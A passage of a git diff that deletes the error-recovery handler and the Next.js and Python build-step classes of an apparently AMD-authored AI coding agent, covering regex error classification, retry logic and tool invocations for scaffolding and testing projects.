category=ErrorCategory.RESOURCE, - action=RecoveryAction.RETRY, - max_retries=2, - delay_seconds=5.0, - ), - # Missing dependencies - fix and retry - ErrorPattern( - pattern=r"Cannot find module '([^']+)'|Module not found.*'([^']+)'", - category=ErrorCategory.DEPENDENCY, - action=RecoveryAction.FIX_AND_RETRY, - fix_command="npm install {module}", - max_retries=2, - ), - ErrorPattern( - pattern=r"ModuleNotFoundError:\s+No module named '([^']+)'", - category=ErrorCategory.DEPENDENCY, - action=RecoveryAction.FIX_AND_RETRY, - fix_command="uv pip install {module}", - max_retries=2, - ), - # TypeScript compilation - escalate to LLM - ErrorPattern( - pattern=r"TS\d+:|error TS\d+|Type '.*' is not assignable", - category=ErrorCategory.COMPILATION, - action=RecoveryAction.ESCALATE, - max_retries=1, - ), - # Prisma errors - fix and retry - ErrorPattern( - pattern=r"prisma generate|@prisma/client.*not.*generated", - category=ErrorCategory.DEPENDENCY, - action=RecoveryAction.FIX_AND_RETRY, - fix_command="npx prisma generate", - max_retries=2, - ), - # Syntax errors - escalate to LLM - ErrorPattern( - pattern=r"SyntaxError:|Unexpected token|Parse error", - category=ErrorCategory.SYNTAX, - action=RecoveryAction.ESCALATE, - max_retries=1, - ), - # Lint errors - escalate to LLM for fix - ErrorPattern( - pattern=r"eslint.*error|warning.*react-hooks|unused variable", - category=ErrorCategory.VALIDATION, - action=RecoveryAction.ESCALATE, - max_retries=1, - ), - # CSS content type errors (Issue #1002) - escalate to LLM - # Catches TypeScript/JavaScript code in CSS files - ErrorPattern( - pattern=r"CSS file contains.*TypeScript|CRITICAL.*CSS file|globals\.css contains", - category=ErrorCategory.VALIDATION, - action=RecoveryAction.ESCALATE, - max_retries=2, # Allow retries - LLM can regenerate correct CSS - ), -] - - -class ErrorHandler: - """Handles errors with three-tier recovery strategy.""" - - def __init__( - self, - command_executor: Optional[Callable[[str], Tuple[int, str]]] = None, - llm_fixer: Optional[Callable[[str, str], Optional[str]]] = None, - ): - """Initialize error handler. - - Args: - command_executor: Function to run shell commands (returns exit_code, output) - llm_fixer: Function to fix code using LLM (takes error, code, returns fixed code) - """ - self.command_executor = command_executor - self.llm_fixer = llm_fixer - self.retry_counts: Dict[str, int] = {} - - def categorize_error(self, error_text: str) -> Tuple[ErrorCategory, ErrorPattern]: - """Categorize an error and find matching pattern. - - Args: - error_text: The error message to categorize - - Returns: - Tuple of (ErrorCategory, matching ErrorPattern or default) - """ - for pattern in ERROR_PATTERNS: - if re.search(pattern.pattern, error_text, re.IGNORECASE): - return pattern.category, pattern - - # Default pattern for unknown errors - return ErrorCategory.UNKNOWN, ErrorPattern( - pattern=".*", - category=ErrorCategory.UNKNOWN, - action=RecoveryAction.ESCALATE, - max_retries=1, - ) - - def handle_error( - self, - step_name: str, - error_text: str, - context: Optional[Dict[str, Any]] = None, - ) -> Tuple[RecoveryAction, Optional[str]]: - """Handle an error with appropriate recovery action. - - Args: - step_name: Name of the step that failed - error_text: The error message - context: Optional context (e.g., code being executed) - - Returns: - Tuple of (action to take, optional fix result/message) - """ - category, pattern = self.categorize_error(error_text) - retry_key = f"{step_name}:{category.name}" - - # Check retry count - current_retries = self.retry_counts.get(retry_key, 0) - if current_retries >= pattern.max_retries: - logger.warning( - f"Max retries ({pattern.max_retries}) exceeded for {step_name}" - ) - return RecoveryAction.ABORT, f"Max retries exceeded: {error_text}" - - self.retry_counts[retry_key] = current_retries + 1 - - logger.info( - f"Error recovery: {category.name} -> {pattern.action.name} " - f"(attempt {current_retries + 1}/{pattern.max_retries})" - ) - - if pattern.action == RecoveryAction.RETRY: - return self._handle_retry(pattern) - - if pattern.action == RecoveryAction.FIX_AND_RETRY: - return self._handle_fix_and_retry(pattern, error_text) - - if pattern.action == RecoveryAction.ESCALATE: - return self._handle_escalate(error_text, context) - - return RecoveryAction.ABORT, error_text - - def _handle_retry( - self, pattern: ErrorPattern - ) -> Tuple[RecoveryAction, Optional[str]]: - """Handle retry action with delay.""" - if pattern.delay_seconds > 0: - logger.info(f"Waiting {pattern.delay_seconds}s before retry...") - time.sleep(pattern.delay_seconds) - return RecoveryAction.RETRY, None - - def _handle_fix_and_retry( - self, pattern: ErrorPattern, error_text: str - ) -> Tuple[RecoveryAction, Optional[str]]: - """Handle fix-and-retry action.""" - if not pattern.fix_command or not self.command_executor: - return RecoveryAction.ESCALATE, "No fix command available" - - # Extract module name from error if applicable - fix_cmd = pattern.fix_command - match = re.search(pattern.pattern, error_text, re.IGNORECASE) - if match and match.groups(): - # Use first captured group as module name - module = ( - match.group(1) or match.group(2) - if len(match.groups()) > 1 - else match.group(1) - ) - if module: - fix_cmd = fix_cmd.format(module=module) - - logger.info(f"Executing fix command: {fix_cmd}") - exit_code, output = self.command_executor(fix_cmd) - - if exit_code == 0: - return RecoveryAction.RETRY, f"Fix applied: {fix_cmd}" - return RecoveryAction.ESCALATE, f"Fix failed: {output}" - - def _handle_escalate( - self, error_text: str, context: Optional[Dict[str, Any]] = None - ) -> Tuple[RecoveryAction, Optional[str]]: - """Handle escalation to LLM. - - For TypeScript errors, parses file path from error and reads content. - """ - from pathlib import Path - - if not self.llm_fixer: - return RecoveryAction.ABORT, "No LLM fixer available" - - code = context.get("code", "") if context else "" - project_dir = context.get("project_dir", "") if context else "" - error_file_path = None - - # If no code provided, try to extract file path from TypeScript error - # Format: filename.ts(line,col): error TSxxxx: message - if not code and project_dir: - ts_error_match = re.search( - r"^([^\s(]+\.tsx?)\(\d+,\d+\):", error_text, re.MULTILINE - ) - if ts_error_match: - error_file_path = ts_error_match.group(1) - full_path = Path(project_dir) / error_file_path - if full_path.exists(): - try: - code = full_path.read_text(encoding="utf-8") - logger.info(f"Read file for LLM fix: {error_file_path}") - except Exception as e: - logger.warning(f"Could not read {error_file_path}: {e}") - - fixed_code = self.llm_fixer(error_text, code) - - if fixed_code: - # If we read a file, write the fix back - if error_file_path and project_dir: - full_path = Path(project_dir) / error_file_path - try: - full_path.write_text(fixed_code, encoding="utf-8") - logger.info(f"Wrote LLM fix to: {error_file_path}") - except Exception as e: - logger.warning(f"Could not write fix to {error_file_path}: {e}") - - return RecoveryAction.RETRY, fixed_code - return RecoveryAction.ABORT, "LLM could not fix the error" - - def reset_retry_count(self, step_name: str) -> None: - """Reset retry count for a step after success.""" - keys_to_remove = [k for k in self.retry_counts if k.startswith(f"{step_name}:")] - for key in keys_to_remove: - del self.retry_counts[key] - - def get_recovery_suggestion(self, error_text: str) -> str: - """Get a human-readable recovery suggestion for an error. - - Args: - error_text: The error message - - Returns: - Suggestion string for how to fix the error - """ - category, pattern = self.categorize_error(error_text) - - suggestions = { - ErrorCategory.NETWORK: "Check network connection and retry", - ErrorCategory.RESOURCE: "Free up system resources (disk/memory) and retry", - ErrorCategory.DEPENDENCY: f"Install missing dependency: {pattern.fix_command or 'check error message'}", - ErrorCategory.COMPILATION: "Fix TypeScript/compilation errors in the code", - ErrorCategory.SYNTAX: "Fix syntax errors in the code", - ErrorCategory.RUNTIME: "Debug runtime error and fix logic", - ErrorCategory.VALIDATION: "Fix linting/validation warnings", - ErrorCategory.CONFIGURATION: "Check configuration files for errors", - ErrorCategory.UNKNOWN: "Review error message and investigate", - } - - return suggestions.get(category, "Unknown error - investigate") diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/steps/nextjs.py b/hub/agents/code/python/gaia_agent_code/orchestration/steps/nextjs.py deleted file mode 100644 index ec0146954..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/steps/nextjs.py +++ /dev/null @@ -1,828 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Next.js step implementations. - -Steps wrap the existing Code Agent tools with standardized interfaces. -""" - -from dataclasses import dataclass, field -from pathlib import Path -from typing import Any, Dict, Optional, Tuple - -from .base import BaseStep, ErrorCategory, StepResult, UserContext - -# Package versions (matching nextjs_prompt.py) -NEXTJS_VERSION = "14.2.33" -PRISMA_VERSION = "5.22.0" -ZOD_VERSION = "3.23.8" - - -@dataclass -class CreateNextAppStep(BaseStep): - """Step to create a new Next.js application.""" - - name: str = "create_next_app" - description: str = "Initialize Next.js project" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if package.json already exists.""" - package_json = Path(context.project_dir) / "package.json" - if package_json.exists(): - return "package.json already exists, project already initialized" - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return run_cli_command invocation.""" - return ( - "run_cli_command", - { - "command": f"npx -y create-next-app@{NEXTJS_VERSION} . --typescript --tailwind --eslint --app --src-dir --yes", - "working_dir": context.project_dir, - "timeout": 1200, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("return_code") == 0: - return StepResult.ok( - "Next.js project created successfully", - files=["package.json", "tsconfig.json", "src/app/page.tsx"], - ) - return StepResult.make_error( - "Failed to create Next.js project", - result.get("error") or result.get("stderr", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class SetupAppStylingStep(BaseStep): - """Step to set up app-wide modern styling. - - Creates the root layout and globals.css with a modern dark theme - design system that all pages inherit. - """ - - name: str = "setup_styling" - description: str = "Set up modern app styling" - app_title: str = "My App" - app_description: str = "A modern web application" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return setup_app_styling invocation.""" - # Derive app title from entity name or use default - title = f"{context.entity_name or 'My'} App" - description = f"A modern {(context.entity_name or 'web').lower()} application" - - return ( - "setup_app_styling", - { - "project_dir": context.project_dir, - "app_title": title, - "app_description": description, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - return StepResult.ok( - "App styling configured with modern design system", - files=result.get("files", []), - ) - return StepResult.make_error( - "Failed to set up app styling", - result.get("error", "Unknown error"), - ErrorCategory.CONFIGURATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class InstallDependenciesStep(BaseStep): - """Step to install additional dependencies.""" - - name: str = "install_deps" - description: str = "Install Prisma and Zod" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if prisma is already in package.json.""" - package_json = Path(context.project_dir) / "package.json" - if package_json.exists(): - content = package_json.read_text() - if "prisma" in content and "@prisma/client" in content: - return "Dependencies already installed" - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return run_cli_command invocation.""" - return ( - "run_cli_command", - { - "command": f"npm install prisma@^{PRISMA_VERSION} @prisma/client@^{PRISMA_VERSION} zod@^{ZOD_VERSION}", - "working_dir": context.project_dir, - "timeout": 1200, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("return_code") == 0: - return StepResult.ok("Dependencies installed successfully") - return StepResult.make_error( - "Failed to install dependencies", - result.get("error") or result.get("stderr", "Unknown error"), - ErrorCategory.DEPENDENCY, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class PrismaInitStep(BaseStep): - """Step to initialize Prisma with SQLite.""" - - name: str = "prisma_init" - description: str = "Initialize Prisma" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if prisma directory already exists.""" - prisma_dir = Path(context.project_dir) / "prisma" - if prisma_dir.exists() and (prisma_dir / "schema.prisma").exists(): - return "Prisma already initialized" - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return run_cli_command invocation.""" - return ( - "run_cli_command", - { - "command": "npx -y prisma init --datasource-provider sqlite", - "working_dir": context.project_dir, - "timeout": 600, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("return_code") == 0: - return StepResult.ok( - "Prisma initialized with SQLite", - files=["prisma/schema.prisma"], - ) - return StepResult.make_error( - "Failed to initialize Prisma", - result.get("error") or result.get("stderr", "Unknown error"), - ErrorCategory.CONFIGURATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ManageDataModelStep(BaseStep): - """Step to create Prisma data model.""" - - name: str = "data_model" - description: str = "Create Prisma model" - entity_name: str = "Item" - fields: Dict[str, str] = field(default_factory=lambda: {"title": "string"}) - - def validate_preconditions(self, context: UserContext) -> Optional[str]: - """Check that Prisma is initialized before managing data model.""" - schema_path = Path(context.project_dir) / "prisma" / "schema.prisma" - if not schema_path.exists(): - return ( - "Prisma not initialized. The prisma/schema.prisma file must exist. " - "Run 'npx prisma init --datasource-provider sqlite' first." - ) - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return manage_data_model invocation.""" - return ( - "manage_data_model", - { - "project_dir": context.project_dir, - "model_name": self.entity_name, - "fields": self.fields, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - # Store generated files in context - files = result.get("files", []) - return StepResult.ok( - f"Prisma model {self.entity_name} created", - files=files, - model_name=self.entity_name, - ) - return StepResult.make_error( - f"Failed to create {self.entity_name} model", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class SetupPrismaStep(BaseStep): - """Step to set up Prisma client after schema changes. - - This creates the Prisma singleton, generates client types, and pushes to DB. - Must run AFTER ManageDataModelStep and BEFORE API endpoint steps. - """ - - name: str = "setup_prisma" - description: str = "Set up Prisma client and database" - - def validate_preconditions(self, context: UserContext) -> Optional[str]: - """Check that Prisma schema exists before setup.""" - schema_path = Path(context.project_dir) / "prisma" / "schema.prisma" - if not schema_path.exists(): - return ( - "Prisma schema not found. The prisma/schema.prisma file must exist. " - "Run 'npx prisma init' first." - ) - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return setup_prisma invocation.""" - return ( - "setup_prisma", - { - "project_dir": context.project_dir, - "regenerate": True, - "push_db": True, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - files = [] - if result.get("singleton_path"): - files.append(result["singleton_path"]) - return StepResult.ok( - "Prisma client set up successfully", - files=files, - generated=result.get("generated", False), - pushed=result.get("pushed", False), - ) - return StepResult.make_error( - "Failed to set up Prisma", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ManageApiEndpointStep(BaseStep): - """Step to create collection API endpoint (GET, POST).""" - - name: str = "api_collection" - description: str = "Create collection API" - entity_name: str = "Item" - fields: Dict[str, str] = field(default_factory=lambda: {"title": "string"}) - - def validate_preconditions(self, context: UserContext) -> Optional[str]: - """Check that Prisma singleton exists before creating API endpoints.""" - prisma_lib = Path(context.project_dir) / "src" / "lib" / "prisma.ts" - if not prisma_lib.exists(): - return ( - "Prisma client not set up. The src/lib/prisma.ts file must exist. " - "Run 'setup_prisma' tool first to create the Prisma singleton." - ) - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return manage_api_endpoint invocation.""" - return ( - "manage_api_endpoint", - { - "project_dir": context.project_dir, - "resource_name": self.entity_name.lower(), - "operations": ["GET", "POST"], - "fields": self.fields, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - files = result.get("files", []) - return StepResult.ok( - f"Collection API for {self.entity_name} created", - files=files, - ) - return StepResult.make_error( - f"Failed to create collection API for {self.entity_name}", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ManageApiEndpointDynamicStep(BaseStep): - """Step to create dynamic API endpoint (GET, PATCH, DELETE for [id]).""" - - name: str = "api_item" - description: str = "Create item API" - entity_name: str = "Item" - fields: Dict[str, str] = field(default_factory=lambda: {"title": "string"}) - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return manage_api_endpoint invocation for dynamic route. - - Note: The tool automatically creates the [id]/route.ts file when - PATCH/DELETE operations are requested. - """ - return ( - "manage_api_endpoint", - { - "project_dir": context.project_dir, - "resource_name": self.entity_name.lower(), - "operations": ["GET", "PATCH", "DELETE"], - "fields": self.fields, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - files = result.get("files", []) - return StepResult.ok( - f"Item API for {self.entity_name} created", - files=files, - ) - return StepResult.make_error( - f"Failed to create item API for {self.entity_name}", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ManageReactComponentStep(BaseStep): - """Step to create React component.""" - - name: str = "component" - description: str = "Create React component" - entity_name: str = "Item" - variant: str = "list" # list, form, new, detail, actions - fields: Dict[str, str] = field(default_factory=lambda: {"title": "string"}) - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return manage_react_component invocation. - - Note: resource_name is REQUIRED for the tool to generate correct paths. - Without it, all variants fall back to src/components/{component_name}.tsx. - """ - # For "form" variant, validation expects TodoForm.tsx (not Todo.tsx) - if self.variant == "form": - component_name = f"{self.entity_name}Form" - else: - component_name = self.entity_name - - return ( - "manage_react_component", - { - "project_dir": context.project_dir, - "component_name": component_name, - "resource_name": self.entity_name.lower(), # Required for path generation - "variant": self.variant, - "fields": self.fields, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - files = result.get("files", []) - return StepResult.ok( - f"{self.entity_name} {self.variant} component created", - files=files, - variant=self.variant, - ) - return StepResult.make_error( - f"Failed to create {self.entity_name} {self.variant}", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ValidateCrudStructureStep(BaseStep): - """Step to validate CRUD structure.""" - - name: str = "validate_structure" - description: str = "Validate CRUD structure" - entity_name: str = "Item" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return validate_crud_structure invocation.""" - return ( - "validate_crud_structure", - { - "project_dir": context.project_dir, - "resource_name": self.entity_name.lower(), - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("valid"): - return StepResult.ok("CRUD structure validated successfully") - missing = result.get("missing_files", []) - return StepResult.make_error( - "CRUD structure validation failed", - f"Missing files: {missing}", - ErrorCategory.VALIDATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ValidateTypescriptStep(BaseStep): - """Step to validate TypeScript.""" - - name: str = "validate_typescript" - description: str = "Run TypeScript validation" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return validate_typescript invocation.""" - return ( - "validate_typescript", - { - "project_dir": context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("valid"): - return StepResult.ok("TypeScript validation passed") - errors = result.get("errors", []) - return StepResult.make_error( - "TypeScript validation failed", - "\n".join(errors) if errors else result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class TestCrudApiStep(BaseStep): - """Step to test CRUD API.""" - - name: str = "test_api" - description: str = "Test CRUD operations" - entity_name: str = "Item" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return test_crud_api invocation.""" - return ( - "test_crud_api", - { - "project_dir": context.project_dir, - "model_name": self.entity_name, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - return StepResult.ok( - "CRUD API tests passed", - tests_passed=result.get("tests_passed", 0), - ) - # Test failures are warnings, not hard errors - # The code was generated - tests may fail due to database/server issues - test_result = result.get("result", {}) - passed = test_result.get("tests_passed", 0) - failed = test_result.get("tests_failed", 0) - details = test_result.get("results", {}) - # Build summary of which tests failed - failed_tests = [k for k, v in details.items() if not v.get("pass")] - return StepResult.warning( - f"API tests: {passed} passed, {failed} failed ({', '.join(failed_tests)})", - tests_passed=passed, - tests_failed=failed, - failed_tests=failed_tests, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class UpdateLandingPageStep(BaseStep): - """Step to update landing page with navigation.""" - - name: str = "update_landing" - description: str = "Update landing page" - entity_name: str = "Item" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return update_landing_page invocation.""" - return ( - "update_landing_page", - { - "project_dir": context.project_dir, - "resource_name": self.entity_name.lower(), - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - return StepResult.ok("Landing page updated with navigation link") - return StepResult.make_error( - "Failed to update landing page", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class SetupTestingStep(BaseStep): - """Step to set up testing infrastructure.""" - - name: str = "setup_testing" - description: str = "Set up Vitest and testing libraries" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if vitest is already configured.""" - vitest_config = Path(context.project_dir) / "vitest.config.ts" - if vitest_config.exists(): - return "Vitest already configured" - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return setup_nextjs_testing invocation.""" - return ( - "setup_nextjs_testing", - { - "project_dir": context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - return StepResult.ok( - "Testing infrastructure set up", - files=result.get("files", []), - ) - return StepResult.make_error( - "Failed to set up testing", - result.get("error", "Unknown error"), - ErrorCategory.CONFIGURATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class RunTestsStep(BaseStep): - """Step to run all tests.""" - - name: str = "run_tests" - description: str = "Run npm test" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return run_cli_command invocation for npm test.""" - return ( - "run_cli_command", - { - "command": "npm test", - "working_dir": context.project_dir, - "timeout": 1200, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("return_code") == 0: - return StepResult.ok("All tests passed") - # Tests failing is a warning, not a hard error - return StepResult.warning( - "Some tests failed", - stderr=result.get("stderr", ""), - stdout=result.get("stdout", ""), - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ValidateStylesStep(BaseStep): - """Step to validate CSS files and design system consistency. - - This step validates: - 1. CSS files contain valid CSS (not TypeScript/JavaScript) - CRITICAL - 2. globals.css has Tailwind directives - 3. layout.tsx imports globals.css - 4. Custom classes used in components are defined in globals.css - - Addresses Issue #1002: CSS file contains TypeScript code instead of CSS. - """ - - name: str = "validate_styles" - description: str = "Validate CSS files and design system" - resource_name: Optional[str] = None - - def validate_preconditions(self, context: UserContext) -> Optional[str]: - """Check that styling files exist before validation.""" - globals_css = Path(context.project_dir) / "src" / "app" / "globals.css" - if not globals_css.exists(): - return ( - "globals.css not found. The src/app/globals.css file must exist. " - "Run 'setup_app_styling' first." - ) - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return validate_styles invocation.""" - params = { - "project_dir": context.project_dir, - } - if self.resource_name: - params["_resource_name"] = self.resource_name - return ("validate_styles", params) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or result.get("is_valid"): - warnings = result.get("warnings", []) - if warnings: - return StepResult.warning( - "Styling validated with warnings", - warnings=warnings, - ) - return StepResult.ok("Styling validated successfully") - - errors = result.get("errors", []) - # Check if any errors are CRITICAL (blocking) - critical_errors = [e for e in errors if "CRITICAL" in e] - if critical_errors: - return StepResult.make_error( - "CRITICAL styling validation failed", - "\n".join(critical_errors), - ErrorCategory.VALIDATION, - retryable=True, # Allow LLM to retry with correct CSS - ) - return StepResult.make_error( - "Styling validation failed", - "\n".join(errors) if errors else result.get("error", "Unknown error"), - ErrorCategory.VALIDATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class GenerateStyleTestsStep(BaseStep): - """Step to generate CSS and styling tests for the project. - - Creates test files that validate: - 1. CSS file integrity (no TypeScript in CSS) - 2. Tailwind directive presence - 3. Design system class definitions - 4. Layout imports globals.css - - Tests are placed in the project's /tests directory. - """ - - name: str = "generate_style_tests" - description: str = "Generate CSS and styling tests" - resource_name: str = "Item" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if style tests already exist.""" - styles_test = Path(context.project_dir) / "tests" / "styles.test.ts" - if styles_test.exists(): - return "Style tests already exist" - return None - - def validate_preconditions(self, context: UserContext) -> Optional[str]: - """Check that testing is set up before generating style tests.""" - vitest_config = Path(context.project_dir) / "vitest.config.ts" - if not vitest_config.exists(): - return ( - "Vitest not configured. Run 'setup_testing' first to set up " - "the testing infrastructure." - ) - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return generate_style_tests invocation.""" - return ( - "generate_style_tests", - { - "project_dir": context.project_dir, - "resource_name": self.resource_name, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - return StepResult.ok( - "Style tests generated successfully", - files=result.get("files", []), - ) - return StepResult.make_error( - "Failed to generate style tests", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/steps/python.py b/hub/agents/code/python/gaia_agent_code/orchestration/steps/python.py deleted file mode 100644 index 2fb9c3368..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/steps/python.py +++ /dev/null @@ -1,307 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Python step implementations. - -Steps wrap the existing Code Agent tools with standardized interfaces. -""" - -from dataclasses import dataclass -from typing import Any, Dict, Optional, Tuple - -from .base import BaseStep, ErrorCategory, StepResult, UserContext - - -@dataclass -class CreateProjectStep(BaseStep): - """Step to create a Python project.""" - - name: str = "create_project" - description: str = "Generate Python project" - user_request: str = "" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return create_project invocation.""" - return ( - "create_project", - { - "query": self.user_request or context.user_request, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - # Store project info in context - project_name = result.get("project_name", "") - files = result.get("files", []) - return StepResult.ok( - f"Project {project_name} created", - project_name=project_name, - files=files, - ) - return StepResult.make_error( - "Failed to create project", - result.get("error", "Unknown error"), - ErrorCategory.COMPILATION, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ListFilesStep(BaseStep): - """Step to list files in project.""" - - name: str = "list_files" - description: str = "List project files" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return list_files invocation.""" - # Get project name from previous step output - project_name = context.step_outputs.get("create_project", {}).get( - "project_name", "" - ) - return ( - "list_files", - { - "path": project_name or context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success") or "files" in result: - files = result.get("files", []) - return StepResult.ok( - f"Found {len(files)} files", - files=files, - ) - return StepResult.make_error( - "Failed to list files", - result.get("error", "Unknown error"), - ErrorCategory.UNKNOWN, - ) - # If result is a list directly - if isinstance(result, list): - return StepResult.ok(f"Found {len(result)} files", files=result) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class ValidateProjectStep(BaseStep): - """Step to validate project structure.""" - - name: str = "validate_project" - description: str = "Validate project structure" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return validate_project invocation.""" - project_name = context.step_outputs.get("create_project", {}).get( - 